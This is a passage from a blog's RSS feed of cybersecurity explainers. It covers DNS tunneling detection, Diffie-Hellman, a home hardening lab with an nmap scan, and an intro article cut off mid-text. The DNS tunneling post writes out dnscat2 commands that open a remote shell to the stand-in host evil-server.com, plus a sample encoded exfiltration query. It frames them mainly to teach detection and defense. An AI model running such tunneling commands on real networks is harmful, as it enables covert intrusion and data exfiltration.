the dnscat2 server listening for DNS connections<br>ruby dnscat2.rb evil-server.com</pre><p>On the <strong>compromised machine</strong> inside the corporate network:</p><pre># Connect back to the attacker through DNS<br>./dnscat --dns=server=evil-server.com</pre><p>That’s it. The attacker now has an encrypted interactive shell on the compromised machine, communicating entirely over DNS. No HTTP. No SSH. No VPN. Just port 53.</p><h3>How to Detect DNS Tunneling: The SOC Analyst’s Playbook</h3><p>If you are a defender, here are the <strong>five indicators</strong> that reveal DNS tunneling activity on your network:</p><h3>1. Unusually Long Subdomains</h3><p>Normal DNS queries have short, human-readable subdomains: www, mail, api, cdn.</p><p>DNS tunneling queries have subdomains that look like this:</p><pre>dXNlcm5hbWU6YWRtaW4gcGFzc3dvcmQ6UzNjcjN0IQ.evil-server.com</pre><p><strong>Detection rule:</strong> Alert on any DNS query where the subdomain exceeds <strong>30 characters</strong>. Legitimate subdomains almost never reach this length.</p><h3>2. High Entropy in Domain Names</h3><p>Normal domain names use common English words and patterns. They have <strong>low entropy</strong> (low randomness).</p><p>Base64-encoded data has <strong>high entropy</strong> it looks like a random jumble of characters. Security tools like <strong>Zeek (Bro)</strong> or <strong>Suricata</strong> can calculate the Shannon entropy of DNS query labels and flag anything above a threshold (typically &gt; 3.5 bits per character).</p><h3>3. Abnormal Query Volume to a Single Domain</h3><p>A normal workstation might send 50–200 DNS queries per hour, spread across hundreds of different domains (google.com, microsoft.com, cdn.cloudflare.com, etc.).</p><p>A machine performing DNS tunneling sends <strong>thousands of queries per hour to a single domain</strong> (evil-server.com). This volume pattern is extremely abnormal.</p><p><strong>Detection rule:</strong> Alert when a single host sends <strong>more than 500 DNS queries to the same domain within one hour</strong>.</p><h3>4. Unusual Record Types</h3><p>Most legitimate DNS traffic uses <strong>A</strong> records (IPv4 addresses) and <strong>AAAA</strong> records (IPv6 addresses).</p><p>DNS tunneling frequently uses <strong>TXT</strong>, <strong>CNAME</strong>, <strong>MX</strong>, or <strong>NULL</strong> record types because they can carry larger payloads. A sudden spike in TXT queries from a workstation is a strong indicator.</p><h3>5. DNS Queries to Newly Registered or Rare Domains</h3><p>Legitimate DNS traffic goes to well-known, established domains. DNS tunneling goes to attacker-controlled domains that are often:</p><ul><li>Registered within the last 30 days</li><li>Have no web presence</li><li>Use cheap TLDs (.xyz, .top, .info, .click)</li></ul><p>Threat intelligence feeds and DNS reputation services (like Cisco Umbrella, Quad9, or Cloudflare Gateway) can flag queries to suspicious domains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dnBX2sz5FvDWSfGm5jlBtQ.jpeg" /><figcaption><em>Figure 4: Side-by-side comparison of normal DNS traffic versus DNS tunneling indicators.</em></figcaption></figure><h3>How to Defend Against DNS Tunneling</h3><p>Knowing the attack is half the battle. Here is how to actually stop it:</p><h3>1. Deploy a DNS Security Solution</h3><p>Solutions like <strong>Cisco Umbrella</strong>, <strong>Cloudflare Gateway</strong>, <strong>Infoblox BloxOne</strong>, or <strong>Palo Alto DNS Security</strong> act as intelligent DNS proxies that:</p><ul><li>Analyze query patterns in real-time</li><li>Block queries to known malicious domains</li><li>Detect anomalous subdomain entropy and length</li><li>Enforce DNS-over-HTTPS (DoH) policies</li></ul><h3>2. Restrict DNS to Internal Resolvers Only</h3><p>Do not allow workstations to query external DNS servers directly. Force all DNS traffic through your internal resolvers:</p><pre># Firewall Rule:<br>ALLOW   Internal Hosts  →  Internal DNS Server   PORT 53<br>DENY    Internal Hosts  →  ANY                    PORT 53</pre><p>This ensures that all DNS traffic passes through a chokepoint where you can monitor and analyze it.</p><h3>3. Monitor with Zeek (Bro) or Suricata</h3><p>Deploy network monitoring sensors that parse DNS traffic and generate alerts based on:</p><ul><li>Query length thresholds</li><li>Entropy calculations</li><li>Volume anomalies</li><li>TXT record frequency</li></ul><h3>4. Implement DNS Response Policy Zones (RPZ)</h3><p>RPZ allows your internal DNS server to override responses for known malicious domains, effectively sinkholing tunneling attempts before they reach the attacker.</p><h3>5. Use Threat Intelligence Feeds</h3><p>Subscribe to domain reputation feeds that flag:</p><ul><li>Newly registered domains (&lt; 30 days)</li><li>Domains associated with known C2 infrastructure</li><li>Domains with no legitimate web presence</li></ul><h3>The Modern Fortress Paradox</h3><p>Think about the modern enterprise defense stack for a moment.</p><p>We build 10-foot digital perimeters. We deploy AI-driven Web Application Firewalls, enforce Multi-Factor Authentication, install EDR agents on every endpoint, and mandate Zero Trust micro-segmentation. We lock every window, guard every front door, and log every keystroke.</p><p>Yet in the basement of almost every architecture on Earth, a massive, unmonitored pipe labeled <strong>UDP Port 53</strong> connects internal servers directly to the outside world.</p><p>Attackers don’t need to break through your million-dollar firewall. They don’t need to burn a zero-day exploit. They just need to package their malware inside the single protocol you promised never to turn off.</p><p>The next time you open Wireshark or review your SIEM logs and see a stream of DNS queries, don’t just dismiss them as mundane hostname lookups.</p><p>Look closer.</p><p>Ask yourself: <strong>Is that really an innocent server request… or is someone quietly walking out of your network with your password database in their pocket?</strong></p><h3>Let’s Discuss!</h3><p>To all the SOC analysts, network engineers, and security researchers reading this:</p><ul><li><strong>Does your team actively monitor DNS query entropy and subdomain length, or is Port 53 still a trusted blind spot in your environment?</strong></li><li><strong>Have you ever caught a DNS tunneling tool (like dnscat2 or iodine) in your homelab or production?</strong></li></ul><p>Drop your thoughts and detection tips in the comments below! 👇</p><p><em>If this article gave you a new perspective on DNS security, give it a 👏 (you can clap up to 50 times on Medium!) and follow me for more hands-on cybersecurity deep-dives.</em></p><p>🔗 <em>Check out my previous breakdown:</em><a href="https://medium.com/@miss0424d/how-two-strangers-share-a-secret-in-a-crowded-room-the-magic-of-diffie-hellman-8d575484dce2"><em> How Two Strangers Share a Secret in a Crowded Room: The Magic of Diffie-Hellman</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e96c8b50d9bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Two Strangers Share a Secret in a Crowded Room (The Magic of Diffie-Hellman)]]></title>
            <link>https://miss0424d.medium.com/how-two-strangers-share-a-secret-in-a-crowded-room-the-magic-of-diffie-hellman-8d575484dce2?source=rss-0b3b945c3201------2</link>
            <guid isPermaLink="false">https://medium.com/p/8d575484dce2</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[computer-science]]></category>
            <dc:creator><![CDATA[Miss 0x424D]]></dc:creator>
            <pubDate>Sun, 11 Oct 2026 02:28:09 GMT</pubDate>
            <atom:updated>2026-10-11T02:28:09.517Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Demystifying modern cryptography and key exchange using nothing more than paint buckets, eavesdroppers, and a brilliant mathematical illusion.</em></p><p>Imagine you are standing in a packed room where every single person is listening to you. Every whisper is recorded. Every word you say echoes across the room.</p><p>Across from you stands a stranger. You have never met them before, you don’t share any secret code, and you need to agree on a secret password to lock a treasure chest together.</p><p>Here is the catch:</p><ul><li>You cannot walk up to them and whisper in their ear.</li><li>You cannot pass a private note under the table.</li><li>Every single thing you transmit will be heard and written down by an eavesdropper standing right between you.</li></ul><p><strong>How can two complete strangers establish an identical secret key in broad daylight without anyone else figuring it out?</strong></p><p>For centuries, mathematicians, generals, and spies believed this puzzle was physically and logically impossible. If an eavesdropper hears everything you say, they must know everything you know. Right?</p><p>Wrong.</p><p>In 1976, two computer scientists, Whitfield Diffie and Martin Hellman (with foundational ideas from Ralph Merkle), proved the world wrong. They designed the <strong>Diffie-Hellman Key Exchange </strong>the very protocol that secures every HTTPS webpage you open, every WhatsApp message you send, and every SSH terminal you launch today.</p><p>And the best part? You don’t need a PhD in advanced mathematics to understand how it works. You only need a bucket of paint.</p><h3>The Classic Dilemma: The Secret Handshake Problem</h3><p>Before we look at the solution, let’s understand why this problem stumped the world for so long.</p><p>Throughout history, humans relied on <strong>symmetric encryption</strong>. Think of it like a physical padlock on a diary:</p><ol><li>You write a diary entry.</li><li>You lock it with a physical key.</li><li>Your friend uses an <strong>identical copy of that same key</strong> to unlock and read it.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*y-oeTgb7_M6glgYJtie76A.png" /><figcaption><em>Figure 1: The Key Distribution Problem: Why sending secret keys over an open network inevitably fails without a public key exchange.</em></figcaption></figure><p>This worked great for Roman emperors and World War II military commands. But it has one fatal flaw known as the <strong>Key Distribution Problem</strong>:</p><blockquote>How do you get the key to your friend in the first place without someone stealing it along the way?</blockquote><p>In the old days, governments solved this with armed couriers carrying briefcases handcuffed to their wrists.</p><pre>[ Alice ] -------- (Armed Courier with Key) --------&gt; [ Bob ]</pre><p>That worked when you were a nation-state sending messages to an embassy. But imagine the modern internet: You open your browser and visit a shopping site or your online bank for the first time. You have never met this server in your life. You cannot send an armed courier to the server’s data center every time you want to purchase a book or check your balance!</p><p>If you send the secret key over the internet in plain text, any hacker sniffing the Wi-Fi or router intercepts it immediately.</p><p>We needed a way to create a shared secret <strong>over an insecure public channel</strong>.</p><h3>The Paint-Mixing Magic Trick</h3><p>To see how Diffie and Hellman solved this impossible riddle, let’s leave computers behind for a moment and play with buckets of liquid paint.</p><p>Meet our three characters:</p><ul><li><strong>Alice</strong> (our sender)</li><li><strong>Bob</strong> (our receiver)</li><li><strong>Eve</strong> (our eavesdropper, watching and recording everything)</li></ul><p>Here is the fundamental property of paint that makes the magic possible:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*3cPvnAfH1todhzU_FGC2nA.png" /><figcaption><em>Figure 2: Step-by-step visual of the Diffie-Hellman paint-mixing analogy. Eve sees all public transmissions but cannot reverse-engineer the private components.</em></figcaption></figure><p>Look at the result: Both Alice and Bob now possess <strong>the exact same identical shade of Brown paint</strong>!</p><ul><li>They never whispered.</li><li>They never shared their private colors.</li><li>Eve watched every single exchange, yet Eve does not have the final Brown paint, because she lacks both Alice’s secret red and Bob’s secret cyan.</li></ul><p>Alice and Bob now have a shared secret key created out of thin air. They can use this secret shade to lock their messages!</p><h3>From Paint Buckets to Real Math: One-Way Functions</h3><p>In the digital world, computers cannot swap actual buckets of paint. So what acts as the digital equivalent of “easy to mix, impossible to un-mix”?</p><p>In mathematics, this is called a <strong>One-Way Function</strong> (or a Trapdoor Function).</p><p>Diffie and Hellman built their digital paint using something called <strong>Modular Arithmetic</strong> (often nicknamed “Clock Arithmetic”).</p><h3>The Clock Analogy in 30 Seconds</h3><p>Imagine a normal 12-hour clock. If it is 9 o’clock now and you add 5 hours, what time is it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*edXbwV5YkFfn2i0nsrVOhQ.png" /><figcaption><em>Figure 3: Modular arithmetic works like clock math: simple to calculate in one direction, virtually impossible to reverse with massive prime numbers.</em></figcaption></figure><p>Now, if I tell you: <em>“I started at 9, added some number of hours, and ended up at 2 o’clock,”</em> you can calculate that I probably added 5 hours.</p><p><strong>But what if our clock had 100,000,000,000,000 tick marks instead of 12?</strong></p><p><em>In Diffie-Hellman:</em></p><ol><li>Computers agree on two public numbers: a base <strong>g</strong> and a prime modulus <strong>p</strong> <em>(our Yellow paint)</em>.</li><li>Alice picks a secret number <strong>a</strong> <em>(Secret Red)</em>.</li><li>Alice calculates: <strong>A = gᵃ mod p</strong> <em>(her Orange paint)</em>.</li><li>Bob picks a secret number <strong>b</strong> <em>(Secret Cyan)</em>.</li><li>Bob calculates: <strong>B = gᵇ mod p</strong> <em>(his Green paint)</em>.</li></ol><p><em>Computing </em><strong><em>gᵃ mod p</em></strong><em> takes a fraction of a millisecond for a computer. But going backwards finding the secret number </em><strong><em>a</em></strong><em> when you only know </em><strong><em>g</em></strong><em>, </em><strong><em>p</em></strong><em>, and </em><strong><em>A</em></strong><em> is the </em><strong><em>Discrete Logarithm Problem</em></strong><em>. Even supercomputers would need billions of years to reverse it!</em></p><h3>Why This Runs the Modern World</h3><p>Without this single idea, the modern internet as we know it could not exist:</p><ol><li><strong>Every HTTPS Webpage:</strong> When you see the padlock icon in your browser URL bar, your computer and the remote web server just performed a variation of Diffie-Hellman (typically <em>ECDH: </em>Elliptic Curve Diffie-Hellman) in less than 50 milliseconds.</li><li><strong>End-to-End Encrypted Messaging:</strong> Apps like Signal, WhatsApp, and iMessage use extended versions of Diffie-Hellman to establish encryption keys without the server owners being able to read your chats.</li><li><strong>SSH Remote Shells:</strong> Every time a DevOps or Cybersecurity engineer types ssh user@server, Diffie-Hellman negotiates the session keys before authenticating the user.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*6sOdrO5M8AhR47toNlfd7w.png" /><figcaption><em>Figure 4: Hybrid Encryption in modern TLS: Diffie-Hellman safely negotiates the secret key, and AES performs fast bulk data encryption.</em></figcaption></figure><p>Once the two parties establish the shared key via Diffie-Hellman, they switch to lightning-fast symmetric encryption (like AES-256) for the rest of the conversation.</p><p>Diffie-Hellman builds the bridge; symmetric ciphers carry the traffic across it.</p><h3>The Takeaway</h3><p>Great engineering isn’t always about making things more complicated. Sometimes, it’s about flipping an impossible question upside down.</p><p>For hundreds of years, cryptographers asked:</p><blockquote>“How do we protect the secret key while sending it?”</blockquote><p>Diffie, Hellman, and Merkle answered:</p><blockquote>“What if we never send the key at all?</blockquote><p>By letting both sides generate the key independently using one-way mixing, they changed the world forever.</p><p><em>Did the paint analogy help key exchange click for you? If you enjoyed this breakdown, give it a clap 👏 (you can clap up to 50 times on Medium!) and follow me for more hands-on cybersecurity concepts explained simply.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d575484dce2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[System Hardening in Practice: Locking Down Linux & Windows Server (Part 2)]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://miss0424d.medium.com/system-hardening-in-practice-locking-down-linux-windows-server-part-2-31f781f10ff5?source=rss-0b3b945c3201------2"><img src="https://cdn-images-1.medium.com/max/822/1*GG4FwZC7LV9Sx1I9olRosA.png" width="822"></a></p><p class="medium-feed-snippet">In Part 1, we built a virtual Cyber Range from scratch using VirtualBox: a pfSense firewall separating a corporate LAN zone from an&#x2026;</p><p class="medium-feed-link"><a href="https://miss0424d.medium.com/system-hardening-in-practice-locking-down-linux-windows-server-part-2-31f781f10ff5?source=rss-0b3b945c3201------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://miss0424d.medium.com/system-hardening-in-practice-locking-down-linux-windows-server-part-2-31f781f10ff5?source=rss-0b3b945c3201------2</link>
            <guid isPermaLink="false">https://medium.com/p/31f781f10ff5</guid>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Miss 0x424D]]></dc:creator>
            <pubDate>Wed, 23 Sep 2026 15:37:20 GMT</pubDate>
            <atom:updated>2026-09-23T15:37:20.681Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[System Hardening in Practice: Building a Cyber Range From Scratch (Part 1)]]></title>
            <link>https://miss0424d.medium.com/system-hardening-in-practice-building-a-cyber-range-from-scratch-part-1-ff16b425862f?source=rss-0b3b945c3201------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff16b425862f</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[Miss 0x424D]]></dc:creator>
            <pubDate>Sat, 18 Jul 2026 12:38:34 GMT</pubDate>
            <atom:updated>2026-07-18T13:03:44.783Z</atom:updated>
            <content:encoded><![CDATA[<p>When you first start out in cybersecurity, you hear a lot of abstract concepts like “System Hardening,” “Zero Trust,” and “Defense in Depth.” But nothing beats hands-on practice to truly understand what these mean.</p><p>To dive into the security of industrial environments (OT : Operational Technology), I decided to build my own battlefield: a 100% virtual <strong>Cyber Range</strong>. In this first article, I will walk you through how I designed and built the lab from scratch, and what I discovered when I ran my first scan against a freshly installed server.</p><h3>The Core Concepts</h3><p>Before jumping into the technical setup, let’s break down the key cybersecurity concepts behind this project. Not just what they mean, but <strong>how and why they are used in the real world.</strong></p><h3>System Hardening: Why Default ≠ Secure</h3><p>When you install an operating system (whether it’s Ubuntu, Windows Server, or the firmware on a network switch), it arrives configured for <strong>maximum compatibility and ease of use.</strong> The vendor’s priority is making sure the product works out of the box for as many users as possible.</p><p>The problem? That convenience comes at a cost:</p><ul><li><strong>Ports are left open</strong> so that services can communicate freely.</li><li><strong>Default credentials</strong> (admin/admin) are set so the user can log in immediately.</li><li><strong>Unnecessary services</strong> (FTP, Telnet, print servers) run silently in the background, consuming resources and creating entry points.</li></ul><p>Each one of these is a <strong>door</strong> into your system. The more doors you have, the more ways an attacker can break in. In cybersecurity, we call this the <strong>attack surface.</strong></p><p><strong>System Hardening</strong> is the disciplined process of going through every single one of these doors and asking: <em>“Do I actually need this?”</em> If the answer is no, you lock it, disable it, or remove it entirely. The goal is to reduce the attack surface to the absolute minimum required for the system to perform its intended function, and nothing more.</p><blockquote><strong><em>Think of it this way</em></strong><em>: a brand new house comes with every window open, every door unlocked, and the WiFi password taped to the front door. Hardening is the process of locking down that house before you move in.</em></blockquote><h3>Defense in Depth: Never Trust a Single Wall</h3><p>A common misconception is that placing a <strong>firewall</strong> (like pfSense) at the network perimeter is enough. It’s not.</p><p><strong>Defense in Depth</strong> is a military strategy borrowed by cybersecurity. The idea is simple: <strong>assume every layer of defense will eventually fail, and build another one behind it.</strong> If an attacker bypasses the firewall (via phishing, a compromised VPN, or even an infected USB stick plugged in by an employee), the internal servers must still be able to defend themselves independently.</p><p>In practice, this translates to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rjkk4HdkZ2CmScvjcB-GXw.png" /><figcaption>Figure: The Defense in Depth framework, illustrating the security controls deployed at each layer from the network perimeter down to individual application data.</figcaption></figure><p>This is exactly what we are going to implement layer by layer in this project.</p><h3>CIS Benchmarks: The Global Security Playbook</h3><p>So you understand <em>why</em> you need to harden a system. But <em>how</em> do you know exactly what to change? You can’t just guess.</p><p>That’s where the <strong>CIS Benchmarks</strong> come in. Published by the <a href="https://www.cisecurity.org/">Center for Internet Security</a>, these are comprehensive, peer-reviewed security guides written by hundreds of experts from governments, corporations, and academia worldwide. There is a specific Benchmark document for almost every technology: Ubuntu, Windows Server, macOS, AWS, Docker, Cisco routers, and many more.</p><p>Each Benchmark contains hundreds of specific, actionable rules. For example, the CIS Benchmark for Ubuntu includes rules like:</p><ul><li><em>“Ensure SSH root login is disabled”</em> (Rule 5.2.8)</li><li><em>“Ensure password expiration is 365 days or less”</em> (Rule 5.4.1.1)</li><li><em>“Ensure the firewall is active”</em> (Rule 3.5.1.1)</li></ul><p>Every rule is classified into two profiles:</p><ul><li><strong>Level 1 (Practical):</strong> These rules can be applied safely on any server without breaking applications. Every organization should be at Level 1 as a baseline.</li><li><strong>Level 2 (High Security):</strong> These are stricter rules meant for environments where security outweighs convenience, such as banking systems, military networks, or <strong>industrial OT environments</strong> (which is our focus here).</li></ul><p>In practice, security teams use automated tools like <strong>Lynis</strong>, <strong>Nessus</strong>, or <strong>OpenSCAP</strong> to scan a server and get a compliance score: <em>“You are 55% compliant with CIS Level 1. Here are the 47 rules you need to fix.”</em> Then they go through each finding and remediate it.</p><h3>OT Security: When a Hack Can Stop a Factory</h3><p>Finally, let’s talk about <strong>OT (Operational Technology)</strong>, the context of this project.</p><p>In a traditional IT environment (offices, websites, email servers), the priority is <strong>Confidentiality</strong> (protecting data). If a server goes down for 30 minutes, it’s inconvenient but manageable.</p><p>In an OT environment (factories, power plants, water treatment facilities), the priority is completely inverted: <strong>Availability</strong> comes first. These systems control physical machines: conveyor belts, chemical reactors, turbines. If an OT server goes down, production stops. If it’s hacked, the consequences can be <strong>physical</strong>: equipment damage, environmental disasters, or even loss of human life.</p><p>This is why hardening OT-adjacent servers is not just a best practice. It’s a <strong>critical necessity.</strong> And that’s exactly what this lab simulates.</p><p>The plan is to build the lab, scan a default server to expose its weaknesses, then harden it using CIS Benchmarks and prove the attacks no longer work. This article covers the first half: <strong>building the lab and discovering the vulnerabilities.</strong></p><h3>The Lab Architecture</h3><p>I used <strong>VirtualBox</strong> to deploy three virtual machines on an isolated internal network:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aHvIXIPcIHM5ACiziGpqpw.png" /><figcaption>Figure: The isolated lab environment architecture, segmenting the Corporate IT (LAN) zone from the critical Industrial Control (OT) zone using a central pfSense firewall.</figcaption></figure><h3>The network is split into two distinct zones, both managed by pfSense:</h3><ul><li><strong>Zone OT (192.168.2.0/24):</strong> This simulates an industrial/operational network. It contains the Ubuntu Server (192.168.2.20), which represents an OT supervision or monitoring system.</li><li><strong>Zone LAN (192.168.1.0/24):</strong> This simulates the corporate IT network. It contains Kali Linux (192.168.1.12) as the attacker machine and Windows Server as an Active Directory domain controller.</li></ul><p>pfSense (192.168.1.1) sits in the middle, acting as the firewall and router between both zones. It controls all traffic flowing between Zone OT and Zone LAN, just like a real industrial firewall would in production.</p><h3>Why this architecture?</h3><p>This design mirrors the <strong>Purdue Model</strong>, a widely adopted reference architecture for industrial cybersecurity. In real-world OT environments, the industrial network (where machines and SCADA systems operate) is always separated from the corporate IT network by a firewall. The goal is to prevent a compromised office laptop from reaching critical industrial systems.</p><p>In our lab:</p><ul><li><strong>pfSense</strong> enforces strict rules between the two zones.</li><li><strong>Ubuntu Server</strong> (Zone OT) is the target we will harden.</li><li><strong>Kali Linux</strong> (Zone LAN) simulates an attacker who has compromised the corporate network and is now trying to pivot into the OT zone.</li><li><strong>Windows Server</strong> (Zone LAN) provides Active Directory services.</li></ul><h3>Configuring pfSense: The Firewall</h3><p>pfSense is the backbone of this lab. It manages three network interfaces:</p><ul><li><strong>WAN (em0):</strong> Connected to a NAT adapter for internet access (used only for updates).</li><li><strong>LAN (em1):</strong> Connected to the LAN_network internal network (192.168.1.1/24). This is the corporate/IT zone where Kali and Windows Server live.</li><li><strong>OPT1 (em2):</strong> Connected to the OT_network internal network (192.168.2.1/24). This is the isolated industrial zone where the Ubuntu target server lives.</li></ul><p>Both zones have their own DHCP server managed by pfSense, and all traffic between Zone LAN and Zone OT must pass through the firewall.</p><p>I accessed the pfSense web dashboard from Kali Linux by navigating to http://192.168.1.1 in Firefox.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aB-WOLRuAPvYNpTj5xqN3w.png" /><figcaption>Figure: Managing the pfSense firewall and interfaces directly from the web dashboard inside the Kali Linux attacker machine.</figcaption></figure><h3>Connecting Ubuntu Server to the OT Zone</h3><p>After installing Ubuntu Server, I connected it to the OT zone (OT_network in VirtualBox). Ubuntu uses <strong>Netplan</strong> as its default network configuration manager. I assigned a static IP address of 192.168.2.20 to match the planned architecture:</p><pre># /etc/netplan/00-installer-config.yaml<br>network:<br>  ethernets:<br>    enp0s3:<br>      addresses:<br>        - 192.168.2.20/24<br>      routes:<br>        - to: default<br>          via: 192.168.2.1<br>      nameservers:<br>        addresses:<br>          - 8.8.8.8<br>  version: 2</pre><p>After applying the configuration:</p><pre>sudo netplan apply<br>ip a</pre><p>The server is now live on the OT network with the static IP 192.168.2.20.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VfIL_RHsXQYmoyjSjrHvaw.png" /><figcaption><em>Figure: Verifying the static IP configuration (192.168.2.20) on the target Ubuntu Server inside the OT zone.</em></figcaption></figure><p>A quick connectivity test confirmed communication with the pfSense OT gateway:</p><pre>ping 192.168.2.1    # pfSense OPT1 gateway (OT zone)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*bdSIl2L3DhTUm5lr06pgFQ.png" /><figcaption><em>Figure: Testing local network connectivity by pinging the pfSense OPT1 gateway (192.168.2.1) from the Ubuntu Server.</em></figcaption></figure><p>At this point, the lab is fully operational. The Ubuntu server sits in its own isolated OT zone, separated from the attacker machine (Kali) by the pfSense firewall. Now let’s see what an attacker would find.</p><h3>The Discovery: Scanning the Default Server</h3><p>This is where it gets interesting. I switched to <strong>Kali Linux</strong> (in Zone LAN) and ran a service version scan against the Ubuntu server sitting in the OT zone:</p><pre>nmap -sV 192.168.2.20</pre><p><strong>What each flag means:</strong></p><ul><li>-sV : Probe open ports to determine the <strong>service name and exact version</strong> running behind them. This is critical for an attacker because it allows them to search for known exploits.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*9vVC96aZaH1L-PoFWcVgmg.png" /><figcaption>Figure: Nmap service version detection scan (-sV) targeting the default Ubuntu Server, revealing port 22/tcp as open and exposing the exact OpenSSH version.</figcaption></figure><h3>What did the scan reveal?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*yUZMcsPJFTtZCt1EBZg4-g.png" /><figcaption>Figure: Summary of the open ports and service versions detected on the target server during the initial reconnaissance scan.</figcaption></figure><p>This is a <strong>significant finding</strong> for two reasons:</p><ol><li><strong>The port is wide open:</strong> Any machine on the network (even from a different zone) can attempt to connect to this server via SSH.</li><li><strong>The exact version is exposed:</strong> An attacker can now search for known CVEs (Common Vulnerabilities and Exposures) targeting this specific OpenSSH version and attempt to exploit them.</li></ol><h3>What does this mean in a real-world scenario?</h3><p>Imagine this Ubuntu server is a SCADA supervision system inside a factory. An attacker who compromises a single employee laptop (via phishing) in the corporate network can scan across zones and reach the OT server. This Nmap scan takes 5 seconds and immediately reveals an entry point with a known software version.</p><p>This is exactly why <strong>perimeter security (pfSense) alone is not enough.</strong> We need to harden the server itself, which is exactly what Part 2 of this series will cover.</p><h3>What’s Coming in Part 2</h3><p>In the next article, I will apply <strong>System Hardening</strong> measures following the CIS Benchmarks:</p><ul><li><strong>Enabling a local firewall (UFW)</strong> to block all unnecessary ports.</li><li><strong>Hardening the SSH configuration</strong> (disabling root login, limiting authentication attempts).</li><li><strong>Enforcing strong password policies</strong> to resist brute force attacks.</li><li><strong>Running Lynis</strong>, an automated security audit tool, to measure CIS compliance.</li><li><strong>Launching real attacks</strong> from Kali (Nmap, Hydra brute force, Ettercap MitM) to prove the hardening actually works.</li></ul><p><strong>The takeaway so far?</strong> A freshly installed server behind a firewall is NOT secure. Default configurations expose critical information that attackers can exploit in seconds. Stay tuned for <em>Part 2</em>, where we lock everything down.</p><p><em>If you’re interested in cybersecurity, follow me for the next part of this series where I harden this server and try to break back in.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff16b425862f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cybersecurity 101: The Foundations Every Future Hacker Must Master]]></title>
            <link>https://miss0424d.medium.com/cybersecurity-101-the-foundations-every-future-hacker-must-master-f449ed4a4a5c?source=rss-0b3b945c3201------2</link>
            <guid isPermaLink="false">https://medium.com/p/f449ed4a4a5c</guid>
            <category><![CDATA[it]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Miss 0x424D]]></dc:creator>
            <pubDate>Tue, 16 Jun 2026 20:47:40 GMT</pubDate>
            <atom:updated>2026-06-18T02:11:06.960Z</atom:updated>
            <content:encoded><![CDATA[<h3>How It Started</h3><p>I’ll never forget the moment that changed everything for me.</p><p>Someone close to me got hacked. I watched it unfold the panic, the locked accounts, the realization that someone <em>out there</em> had full control over their digital life. And the worst part? Nobody around knew what to do. Nobody understood <em>how</em> it happened.</p><p>I did what most people do: I Googled. But I didn’t stop at the first article. I went down the rabbit hole deep. I wanted to understand not just <em>what</em> happened, but <em>how</em>. How did the attacker get in? What tools did they use? What could have stopped them?</p><p>That curiosity led me to enroll in cybersecurity engineering. I’m now in my third year, and somewhere between setting up my first Kali Linux VM, failing miserably at my first CTF challenge, and finally popping a shell on a HackTheBox machine at 2 AM, I realized something: <strong>the fundamentals matter more than any fancy exploit.</strong></p><p>This blog series is everything I wish someone had laid out for me when I started. No fluff. No vague hand-waving. Just the real foundations, the stuff I’ve learned through classes, labs, CTFs, and way too many late nights staring at terminal output.</p><p>Let’s get into it.</p><h3>What Is Cybersecurity, Really?</h3><blockquote>I need to kill a myth right away, because I believed it too when I started: <strong>cybersecurity is NOT just hacking.</strong></blockquote><p>When I first got into this field, I thought it was all about breaking into systems. Cool terminals, green text on black screens, the whole Hollywood fantasy. The reality? Hacking is just one small piece of a much bigger puzzle.</p><p>Cybersecurity is the practice of <strong>protecting systems, networks, and data</strong> from digital attacks, unauthorized access, damage, or theft. It spans everything from the password policy on your laptop to the firewall rules protecting a bank’s transaction servers.</p><p>Here’s the formal definition from <strong>NIST</strong> (National Institute of Standards and Technology); a reference you’ll see cited everywhere in this field:</p><blockquote>“The ability to protect or defend the use of cyberspace from cyber attacks.”<em> — NIST SP 800–30</em></blockquote><p>What surprised me as I went deeper into my studies is how <em>broad</em> the field actually is. Here’s a breakdown of the major domains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQQnoW1j3pYrABdNdVzx_w.png" /></figure><p>When I first saw this list in a lecture, I felt overwhelmed. <em>How do you master all of this?</em> The answer I’ve learned over three years: <strong>you don’t, not at once.</strong> You build a strong foundation, then specialize. And that foundation starts with one principle that governs absolutely everything in this field.</p><h3>The CIA Triad: The Holy Trinity of Cybersecurity</h3><p>Every professor I’ve had, every certification book I’ve opened, every security architecture I’ve studied they all come back to 